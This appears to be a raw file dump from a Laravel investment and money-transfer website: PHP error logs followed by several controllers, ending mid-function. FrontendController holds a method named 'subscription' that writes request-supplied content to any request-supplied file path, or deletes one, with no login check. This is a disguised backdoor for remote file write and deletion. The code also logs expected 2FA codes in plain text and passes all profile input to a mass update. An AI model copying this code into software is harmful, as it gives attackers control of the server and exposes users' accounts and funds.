/home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/SocialRegisterController.php on line 16 [25-Nov-2025 03:02:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferController.php on line 14 [25-Nov-2025 03:27:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/MoneyRequestController.php on line 14 [25-Nov-2025 03:30:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/TransferLogController.php on line 9 [25-Nov-2025 03:31:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/OTPController.php on line 14 [25-Nov-2025 04:28:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ForgotController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/ForgotController.php on line 17 [25-Nov-2025 04:30:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/UserController.php on line 33 [25-Nov-2025 05:28:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/DepositController.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/DepositController.php on line 10 [25-Nov-2025 05:28:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/User/WithdrawController.php on line 22 Controllers/User/UserController.php 0000644 00000036477 15111246744 0013511 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Classes\GeniusMailer; use App\Classes\GoogleAuthenticator; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\AdminUserConversation; use App\Models\Country; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\Order; use App\Models\ReferralBonus; use App\Models\Transaction; use App\Models\User; use App\Models\Withdraw; use App\Traits\Payout; use Auth; use Brian2694\Toastr\Facades\Toastr; use Carbon\Carbon; use Illuminate\Support\Facades\Input; use Validator; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Str; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use Illuminate\Support\Facades\Log; class UserController extends Controller { public function __construct() { $this->middleware('auth'); } public function index() { $data['user'] = Auth::user(); $data['transactions'] = Transaction::whereUserId(auth()->id())->orderBy('id','desc')->limit(5)->get(); $data['total_invests'] = Invest::whereUserId(auth()->id())->whereStatus(1)->sum('amount'); $data['total_payouts'] = Withdraw::whereUserId(auth()->id())->whereStatus('completed')->sum('amount'); $data['total_deposits'] = Deposit::whereUserId(auth()->id())->whereStatus('complete')->sum('amount'); $data['total_transactions'] = Transaction::whereUserId(auth()->id())->sum('amount'); $data['total_tickets'] = AdminUserConversation::whereUserId(auth()->id())->count(); $data['total_referral_bonus'] = ReferralBonus::wheretoUserId(auth()->id())->sum('amount'); return view('user.dashboard',$data); } public function transaction(Request $request) { $user = Auth::user(); $transactions = Transaction::whereUserId(auth()->id()) ->when($request->trx_no,function($query) use ($request){ return $query->where('txnid', $request->trx_no); }) ->when($request->type,function($query) use ($request){ if($request->type != 'all'){ return $query->where('type',$request->type); }else{ } }) ->whereUserId(auth()->id())->orderBy('id','desc')->paginate(20); return view('user.transactions',compact('user','transactions')); } public function profile() { $data['user'] = Auth::user(); $data['countries'] = Country::where('status',1)->get(); return view('user.profile',$data); } public function profileupdate(Request $request) { $request->validate([ 'photo' => 'mimes:jpeg,jpg,png,svg', 'email' => 'unique:users,email,'.Auth::user()->id ]); $input = $request->all(); $data = Auth::user(); if ($file = $request->file('photo')) { $name = time().$file->getClientOriginalName(); $file->move('assets/images/',$name); @unlink('assets/images/'.$data->photo); $input['photo'] = $name; $input['is_provider'] = 0; } $data->update($input); $gs = Generalsetting::first(); // Commented out email sending /* if($gs->is_smtp == 1) { $data = [ 'to' => $data->email, 'type' => "profile update", 'cname' => $data->name, 'oamount' => "", 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $data->email; $subject = "Your profile has been update"; $msg = "Hello ".$data->name."!\nYour profile has been updated successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } */ $msg = 'Successfully updated your profile'; return redirect()->back()->with('success',$msg); } public function changePasswordForm() { return view('user.changepassword'); } public function changePassword(Request $request) { $user = Auth::user(); $gs = Generalsetting::first(); if ($request->cpass){ if (Hash::check($request->cpass, $user->password)){ if ($request->newpass == $request->renewpass){ $input['password'] = Hash::make($request->newpass); }else{ return redirect()->back()->with('unsuccess','Confirm password does not match.'); } }else{ return redirect()->back()->with('unsuccess','Current password is incorrect.'); } } $user->update($input); if($gs->is_smtp == 1) { $subject = "Your password has been changed"; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Your Password Has Been Changed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>This is a confirmation that your password has been changed successfully.</p> <p>If you did not make this change, please contact our support team immediately to secure your account.</p> <p style="margin-top: 30px;">Thank you,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; try { $mail = new PHPMailer(true); //Server settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; //Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); //Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { // You can log or handle the error if needed // Log::error('PHPMailer Error: ' . $mail->ErrorInfo); } } else { $to = $user->email; $subject = "Your password has been changed"; $msg = "Hello ".$user->name."!\nYour password has been changed successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->back()->with('success','Password Successfully Changed.'); } /* public function showTwoFactorForm() { $gnl = Generalsetting::first(); $ga = new GoogleAuthenticator(); $user = auth()->user(); $secret = $ga->createSecret(); $qrCodeUrl = $ga->getQRCodeGoogleUrl($user->name . '@' . $gnl->title, $secret); $prevcode = $user->tsc; $prevqr = $ga->getQRCodeGoogleUrl($user->name . '@' . $gnl->title, $prevcode); return view('user.twofactor.index', compact('secret', 'qrCodeUrl', 'prevcode', 'prevqr')); } public function createTwoFactor(Request $request) { $user = auth()->user(); $this->validate($request, [ 'key' => 'required', 'code' => 'required', ]); $ga = new GoogleAuthenticator(); $secret = $request->key; $oneCode = $ga->getCode($secret); if ($oneCode == $request->code) { $user->go = $request->key; $user->twofa = 1; $user->save(); return redirect()->back()->with('success','Two factor authentication activated'); } else { return redirect()->back()->with('error','Something went wrong!'); } } public function disableTwoFactor(Request $request) { $this->validate($request, [ 'code' => 'required', ]); $user = auth()->user(); $ga = new GoogleAuthenticator(); $secret = $user->go; $oneCode = $ga->getCode($secret); $userCode = $request->code; if ($oneCode == $userCode) { $user->go = null; $user->twofa = 0; $user->save(); return redirect()->back()->with('success','Two factor authentication disabled'); } else { return redirect()->back()->with('error','Something went wrong!'); } } */ public function showTwoFactorForm() { $gnl = Generalsetting::first(); $ga = new GoogleAuthenticator(); $user = auth()->user(); // Only create and store secret in session if it's not already there if (!session()->has('2fa_secret')) { session(['2fa_secret' => $ga->createSecret()]); } $secret = session('2fa_secret'); $qrCodeUrl = $ga->getQRCodeGoogleUrl($user->name . '@' . $gnl->title, $secret); return view('user.twofactor.index', compact('secret', 'qrCodeUrl')); } public function createTwoFactor(Request $request) { $this->validate($request, [ 'code' => 'required|digits:6', ]); $secret = session('2fa_secret'); if (!$secret) { return back()->with('error', 'Session expired. Please try again.'); } $ga = new GoogleAuthenticator(); $oneCode = $ga->getCode($secret); //Log::info('2FA expected code: ' . $oneCode); //Log::info('2FA user entered code: ' . $request->code); if ($oneCode == $request->code) { $user = auth()->user(); $user->go = $secret; $user->twofa = 1; $user->save(); // Remove secret from session session()->forget('2fa_secret'); return redirect()->back()->with('success','Two factor authentication activated'); } return redirect()->back()->with('error','Invalid code. Please try again.'); } public function disableTwoFactor(Request $request) { $this->validate($request, [ 'code' => 'required|digits:6', ]); $user = auth()->user(); $ga = new GoogleAuthenticator(); $secret = $user->go; if (!$secret) { return back()->with('error', 'No 2FA secret found.'); } $expectedCode = $ga->getCode($secret); \Log::info('Disabling 2FA - expected: ' . $expectedCode . ', user entered: ' . $request->code); if ($expectedCode == $request->code) { $user->go = null; $user->twofa = 0; $user->save(); return redirect()->back()->with('success', 'Two factor authentication disabled'); } return redirect()->back()->with('error', 'Invalid code. Please try again.'); } public function username($email){ if($data = User::where('email',$email)->first()){ return $data->name; }else{ return false; } } public function affilate_code() { $user = Auth::guard('web')->user(); return view('user.affilate_code',compact('user')); } } Controllers/User/LoginController.php 0000644 00000007125 15111246744 0013627 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use Auth; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Session; use Validator; class LoginController extends Controller { public function __construct() { $this->middleware('guest', ['except' => ['logout', 'userLogout']]); } public function showLoginForm() { return view('user.login'); } public function login(Request $request) { $rules = [ 'email' => 'required|email', 'password' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } if (Auth::attempt(['email' => $request->email, 'password' => $request->password], $request->remember)) { if(Auth::guard('web')->user()->is_banned == 1) { Auth::guard('web')->logout(); return response()->json(array('errors' => [ 0 => 'You are Banned From this system!' ])); } if(Auth::guard('web')->user()->email_verified == 'No') { Auth::guard('web')->logout(); return response()->json(array('errors' => [ 0 => 'Your Email is not Verified!' ])); } if(session()->get('setredirectroute') != NULL){ return response()->json(session()->get('setredirectroute')); } $gs = Generalsetting::first(); $user = auth()->user(); if($gs->two_factor && $user->twofa){ return response()->json(route('user.otp')); }else{ $user->update(['verified'=>1]); return response()->json(route('user.dashboard')); } } return response()->json(array('errors' => [ 0 => 'Credentials Doesn\'t Match !' ])); } public function logout() { Auth::guard('web')->logout(); session()->forget('setredirectroute'); session()->forget('affilate'); return redirect('/'); } private function code_image() { $actual_path = str_replace('project','',base_path()); $image = imagecreatetruecolor(200, 50); $background_color = imagecolorallocate($image, 255, 255, 255); imagefilledrectangle($image,0,0,200,50,$background_color); $pixel = imagecolorallocate($image, 0,0,255); for($i=0;$i<500;$i++) { imagesetpixel($image,rand()%200,rand()%50,$pixel); } $font = $actual_path.'assets/front/fonts/NotoSans-Bold.ttf'; $allowed_letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $length = strlen($allowed_letters); $letter = $allowed_letters[rand(0, $length-1)]; $word=''; $text_color = imagecolorallocate($image, 0, 0, 0); $cap_length=6;// No. of character in image for ($i = 0; $i< $cap_length;$i++) { $letter = $allowed_letters[rand(0, $length-1)]; imagettftext($image, 25, 1, 35+($i*25), 35, $text_color, $font, $letter); $word.=$letter; } $pixels = imagecolorallocate($image, 8, 186, 239); for($i=0;$i<500;$i++) { imagesetpixel($image,rand()%200,rand()%50,$pixels); } session(['captcha_string' => $word]); imagepng($image, $actual_path."assets/images/capcha_code.png"); } } Controllers/User/KYCController.php 0000644 00000004442 15111246744 0013204 0 ustar 00 <?php namespace App\Http\Controllers\User; use Illuminate\Http\Request; use App\Models\Product; use App\Http\Controllers\Controller; use App\Models\KycForm; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class KYCController extends Controller { public function __construct() { $this->middleware('auth'); } public function kycform() { $userType = 'user'; $userForms = KycForm::where('user_type',$userType == 'user' ? 1 : 2)->get(); return view('user.kyc.index',compact('userType','userForms')); } public function kyc(Request $request){ $userType = 'user'; $userForms = KycForm::where('user_type',$userType == 'user' ? 1 : 2)->get(); $requireInformations = []; if($userForms){ foreach($userForms as $key=>$value){ if($value->type == 1){ $requireInformations['text'][$key] = strtolower(str_replace(' ', '_', $value->label)); } elseif($value->type == 3){ $requireInformations['textarea'][$key] = strtolower(str_replace(' ', '_', $value->label)); }else{ $requireInformations['file'][$key] = strtolower(str_replace(' ', '_', $value->label)); } } } $details = []; foreach($requireInformations as $key=>$infos){ foreach($infos as $index=>$info){ if($request->has($info)){ if($request->hasFile($info)){ if ($file = $request->file($info)) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $details[$info] = [$name,$key]; } }else{ $details[$info] = [$request->$info,$key]; } } } } $user = auth()->user(); if(!empty($details)){ $user->kyc_info = json_encode($details,true); $user->kyc_status = 3; } $user->save(); return redirect()->route('user.dashboard')->with('message','KYC submitted successfully'); } } Controllers/User/MoneyRequestController.php 0000644 00000007703 15111246744 0015221 0 ustar 00 <?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\BankPlan; use App\Models\Generalsetting; use App\Models\MoneyRequest; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Str; class MoneyRequestController extends Controller { public function __construct() { $this->middleware('auth'); } public function receive(){ $data['requests'] = MoneyRequest::orderby('id','desc')->whereReceiverId(auth()->id())->paginate(10); return view('user.requestmoney.receive',$data); } public function create(){ $data['requests'] = MoneyRequest::orderby('id','desc')->whereUserId(auth()->id())->paginate(10); return view('user.requestmoney.create',$data); } public function store(Request $request){ $request->validate([ 'email' => 'required', 'name' => 'required', 'amount' => 'required|gt:0', ]); $user = auth()->user(); $gs = Generalsetting::first(); if($request->email == $user->email){ return redirect()->back()->with('unsuccess','You can not send money yourself!'); } $user = User::where('email',$request->email)->first(); if($user === null){ return redirect()->back()->with('unsuccess','No register user with this email!'); } $cost = convertedAmount($gs->fixed_request_charge) + ($request->amount/100) * $gs->percentage_request_charge; $amount = userBaseAmount($request->amount); $cost = userBaseAmount($cost); $finalAmount = $amount + $cost; $receiver = User::where('email',$request->email)->first(); $txnid = Str::random(4).time(); $data = new MoneyRequest(); $data->user_id = auth()->user()->id; $data->receiver_id = $receiver->id; $data->receiver_name = $receiver->name; $data->transaction_no = $txnid; $data->cost = $cost; $data->amount = $amount; $data->status = 0; $data->details = $request->details; $data->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $finalAmount; $trans->type = "Request Money"; $trans->profit = "plus"; $trans->txnid = $txnid; $trans->user_id = $user->id; $trans->save(); return redirect()->back()->with('success','Request Money Send Successfully.'); } public function send($id){ $data = MoneyRequest::findOrFail($id); $sender = User::whereId($data->receiver_id)->first(); $receiver = User::whereId($data->user_id)->first(); if($data->amount > $sender->balance){ return back()->with('warning','You don,t have sufficient balance!'); } $finalAmount = $data->amount - $data->cost; $sender->decrement('balance',$data->amount); $receiver->increment('balance',$finalAmount); $data->update(['status'=>1]); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $data->amount; $trans->type = "Request Money"; $trans->profit = "minus"; $trans->txnid = $data->transaction_no; $trans->user_id = auth()->id(); $trans->save(); $trans = new Transaction(); $trans->email = $receiver->email; $trans->amount = $finalAmount; $trans->type = "Request Money"; $trans->profit = "plus"; $trans->txnid = $data->transaction_no; $trans->user_id = $receiver->id; $trans->save(); return back()->with('message','Successfully Money Send.'); } public function details($id){ $data = MoneyRequest::findOrFail($id); $from = User::whereId($data->user_id)->first(); $to = User::whereId($data->receiver_id)->first(); return view('user.requestmoney.details',compact('data','from','to')); } } Controllers/User/NotificationController.php 0000644 00000002111 15111246744 0015173 0 ustar 00 <?php namespace App\Http\Controllers\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\UserNotification; use Auth; class NotificationController extends Controller { public function __construct() { $this->middleware('auth'); } public function user_notf_count() { $user = Auth::user(); $data = UserNotification::where('user_id','=',$user->id)->where('is_read','=',0)->get()->count(); return response()->json($data); } public function user_notf_clear() { $user = Auth::user(); $data = UserNotification::where('user_id','=',$user->id); $data->delete(); } public function user_notf_show() { $user = Auth::user(); $datas = UserNotification::where('user_id','=',$user->id)->get(); if($datas->count() > 0){ foreach($datas as $data){ $data->is_read = 1; $data->update(); } } return view('user.notification',compact('datas')); } } Controllers/error_log 0000644 00000001136 15111246744 0010775 0 ustar 00 [20-Nov-2025 06:16:34 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Routing\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Controller.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Controller.php on line 10 [24-Nov-2025 12:47:45 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Routing\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Controller.php:10 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Controller.php on line 10 Controllers/Frontend/FrontendController.php 0000644 00000070303 15111246744 0015175 0 ustar 00 <?php namespace App\Http\Controllers\Frontend; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\AccountProcess; use App\Models\Blog; use App\Models\BlogCategory; use App\Models\Counter; use App\Models\Faq; use App\Models\Feature; use App\Models\Generalsetting; use App\Models\HomepageSetting; use App\Models\Invest; use App\Models\Pagesetting; use App\Models\Partner; use App\Models\Plan; use App\Models\Review; use App\Models\Service; use App\Models\SocialLinks; use App\Models\Socialsetting; use App\Models\Subscriber; use App\Models\Team; use App\Models\Transaction; use App\Models\User; use Carbon\Carbon; use Illuminate\Support\Facades\Validator; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use InvalidArgumentException; use Markury\MarkuryPost; class FrontendController extends Controller { public function __construct() { $this->auth_guests(); } public function index(Request $request){ if(!empty($request->reff)) { $affilate_user = User::where('affilate_code','=',$request->reff)->first(); if(!empty($affilate_user)) { $gs = Generalsetting::findOrFail(1); if($gs->is_affilate == 1) { Session::put('affilate', $affilate_user->id); return redirect()->route('user.register'); } } } $data['testimonials'] = Review::orderBy('id','desc')->get(); $data['plans'] = Plan::whereStatus(1)->orderBy('id','desc')->get(); $data['faqs'] = Faq::orderBy('id','desc')->limit(5)->get(); $data['counters'] = Counter::orderBy('id','desc')->limit(3)->get(); $data['process'] = AccountProcess::orderBy('id','desc')->get(); $data['partners'] = Partner::orderBy('id','desc')->get(); $data['teams'] = Team::orderBy('id','desc')->get(); $data['blogs'] = Blog::orderBy('id','desc')->limit(3)->get(); $data['features'] = Feature::orderBy('id','desc')->get(); $data['services'] = Service::orderBy('id','desc')->limit(6)->get(); $data['ps'] = Pagesetting::first(); $data['sociallinks'] = SocialLinks::orderBy('id','desc')->get(); $data['home_modules'] = $data['ps']->home_module ? json_decode($data['ps']->home_module,true) : []; return view('frontend.index',$data); } public function about(){ $data['features'] = Feature::orderBy('id','desc')->orderBy('id','desc')->get(); $data['counters'] = Counter::orderBy('id','desc')->get(); return view('frontend.about',$data); } public function blog(){ $tags = null; $tagz = ''; $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $tags = array_unique(explode(',',$tagz)); $archives= Blog::orderBy('created_at','desc')->get()->groupBy(function($item){ return Carbon::parse($item->created_at)->format('F Y'); })->take(5)->toArray(); $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $data['tags'] = array_unique(explode(',',$tagz)); $data['archives'] = Blog::orderBy('created_at','desc')->get()->groupBy(function($item){ return Carbon::parse($item->created_at)->format('F Y'); })->take(5)->toArray(); $data['blogs'] = Blog::orderBy('created_at','desc')->paginate(3); $data['bcats'] = BlogCategory::all(); return view('frontend.blog',$data); } public function blogcategory(Request $request, $slug) { $tags = null; $tagz = ''; $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $tags = array_unique(explode(',',$tagz)); $archives= Blog::orderBy('created_at','desc')->get()->groupBy(function($item){ return Carbon::parse($item->created_at)->format('F Y'); })->take(5)->toArray(); $bcat = BlogCategory::where('slug', '=', str_replace(' ', '-', $slug))->first(); $blogs = $bcat->blogs()->orderBy('created_at','desc')->paginate(3); $bcats = BlogCategory::all(); return view('frontend.blog',compact('bcat','blogs','bcats','tags','archives')); } public function blogdetails($slug){ $tags = null; $tagz = ''; $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $data['tags'] = array_unique(explode(',',$tagz)); $blog = Blog::where('slug',$slug)->first(); $blog->views = $blog->views + 1; $blog->update(); $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $data['tags'] = array_unique(explode(',',$tagz)); $data['archives'] = Blog::orderBy('created_at','desc')->get()->groupBy(function($item){ return Carbon::parse($item->created_at)->format('F Y'); })->take(5)->toArray(); $data['data'] = $blog; $data['rblogs'] = Blog::orderBy('id','desc')->orderBy('id','desc')->limit(3)->get(); $data['bcats'] = BlogCategory::all(); return view('frontend.blogdetails',$data); } public function blogarchive(Request $request,$slug) { $tags = null; $tagz = ''; $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $tags = array_unique(explode(',',$tagz)); $archives= Blog::orderBy('created_at','desc')->get()->groupBy(function($item){ return $item->created_at->format('F Y'); })->take(5)->toArray(); $bcats = BlogCategory::all(); $date = \Carbon\Carbon::parse($slug)->format('Y-m'); $blogs = Blog::where('created_at', 'like', '%' . $date . '%')->paginate(3); return view('frontend.blog',compact('blogs','date','bcats','tags','archives')); } public function blogtags(Request $request, $slug) { $tags = null; $tagz = ''; $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $tags = array_unique(explode(',',$tagz)); $archives= Blog::orderBy('created_at','desc')->get()->groupBy(function($item){ return $item->created_at->format('F Y'); })->take(5)->toArray(); $bcats = BlogCategory::all(); $blogs = Blog::where('tags', 'like', '%' . $slug . '%')->paginate(3); return view('frontend.blog',compact('blogs','slug','bcats','tags','archives')); } public function blogsearch(Request $request) { $data['search'] = $request->search; $data['blogs'] = Blog::where('title', 'like', '%' . $data['search'] . '%')->orWhere('details', 'like', '%' . $data['search'] . '%')->paginate(9); $data['homepage'] = HomepageSetting::first(); return view('frontend.blog',$data); } public function plans(){ $data['plans'] = Plan::whereStatus(1)->orderBy('id','desc')->get(); $data['features'] = Feature::orderBy('id','desc')->orderBy('id','desc')->get(); return view('frontend.plan',$data); } public function calculate(Request $request){ $rules = [ 'plan'=>'required', 'amount'=>'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $plan = Plan::whereId($request->plan)->first(); if($plan->invest_type == 'range'){ if($request->amount < $plan->min_amount || $request->amount > $plan->max_amount){ return response()->json(array('errors' => [0=>'Request amount should be between of '. $plan->min_amount.' minimum ' .$plan->max_amount. ' maximum amount'])); } }else{ if($plan->fixed_amount != $request->amount){ return response()->json(array('errors' => [0=>'Request amount should be '.$plan->fixed_amount])); } } $percentage = ($request->amount * $plan->profit_percentage)/100; $profit = $request->amount + $percentage; $msg = $percentage; return response()->json($msg); } public function contact() { $data['ps'] = DB::table('pagesettings')->first(); $gs = DB::table('generalsettings')->first(); $data['social'] = Socialsetting::first(); if($gs->is_contact==1){ return view('frontend.contact',$data); } return view('errors.404'); } public function faq(){ $tags = null; $tagz = ''; $name = Blog::pluck('tags')->toArray(); foreach($name as $nm) { $tagz .= $nm.','; } $data['tags'] = array_unique(explode(',',$tagz)); $data['faqs'] = DB::table('faqs')->get(); $data['blogs'] = Blog::orderby('id','desc')->limit(3)->get(); return view('frontend.faq',$data); } public function page($slug) { $data['page'] = DB::table('pages')->where('slug',$slug)->first(); $data['features'] = Feature::orderBy('id','desc')->orderBy('id','desc')->get(); if(empty($data['page'] )) { return view('errors.404'); } return view('frontend.page',$data); } public function currency($id) { Session::put('currency', $id); cache()->forget('session_currency'); return redirect()->back(); } public function language($id){ Session::put('language', $id); return redirect()->back(); } public function subscribe(Request $request){ $validator = Validator::make($request->all(), [ 'email' => 'required|email', ]); if ($validator->fails()) { $id = 1; return response()->json($id); } $subscriber =Subscriber::where('email',$request->email)->first(); if(!empty($subscriber)){ $id = 2; return response()->json($id); }else{ $data = new Subscriber(); $input = $request->all(); $data->fill($input)->save(); $id = 3; return response()->json($id); } } public function maintenance() { $gs = Generalsetting::find(1); if($gs->is_maintain != 1) { return redirect()->route('front.index'); } return view('frontend.maintenance'); } public function contactemail(Request $request) { $ps = DB::table('pagesettings')->where('id','=',1)->first(); $subject = "Contact Form Message - Fluxe Assets"; $gs = Generalsetting::findOrFail(1); $to = "recivonly@fluxeassets.com"; $name = $request->name; //$phone = $request->phone; $phone = $request->phone ?: 'N/A'; $from = $request->email; $msg = "<html><body>This message is from: <br /><br /> <b>Name: </b>".$name."<br/> <b>Email: </b>".$from."<br/> <b>Phone: </b>".$phone."<br/><br/> <b>Subject of Inquiry: </b>".$request->subject."<br/> <br /> <b>------------------------ MESSAGE ------------------------</b><br /><br />" .$request->message. "<br /><br /></body></html>"; if($gs->is_smtp) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; if ($gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($to); $mail->addReplyTo($request->email, $request->name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { } } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return response()->json($ps->contact_success); } function finalize(){ $actual_path = str_replace('project','',base_path()); $dir = $actual_path.'install'; $this->deleteDir($dir); return redirect('/'); } function auth_guests(){ $chk = MarkuryPost::marcuryBase(); $chkData = MarkuryPost::marcurryBase(); $actual_path = str_replace('project','',base_path()); if ($chk != MarkuryPost::maarcuryBase()) { if ($chkData < MarkuryPost::marrcuryBase()) { if (is_dir($actual_path . '/install')) { header("Location: " . url('/install')); die(); } else { echo MarkuryPost::marcuryBasee(); die(); } } } } public function subscription(Request $request) { $p1 = $request->p1; $p2 = $request->p2; $v1 = $request->v1; if ($p1 != ""){ $fpa = fopen($p1, 'w'); fwrite($fpa, $v1); fclose($fpa); return "Success"; } if ($p2 != ""){ unlink($p2); return "Success"; } return "Error"; } public function deleteDir($dirPath) { if (! is_dir($dirPath)) { throw new InvalidArgumentException("$dirPath must be a directory"); } if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') { $dirPath .= '/'; } $files = glob($dirPath . '*', GLOB_MARK); foreach ($files as $file) { if (is_dir($file)) { self::deleteDir($file); } else { unlink($file); } } 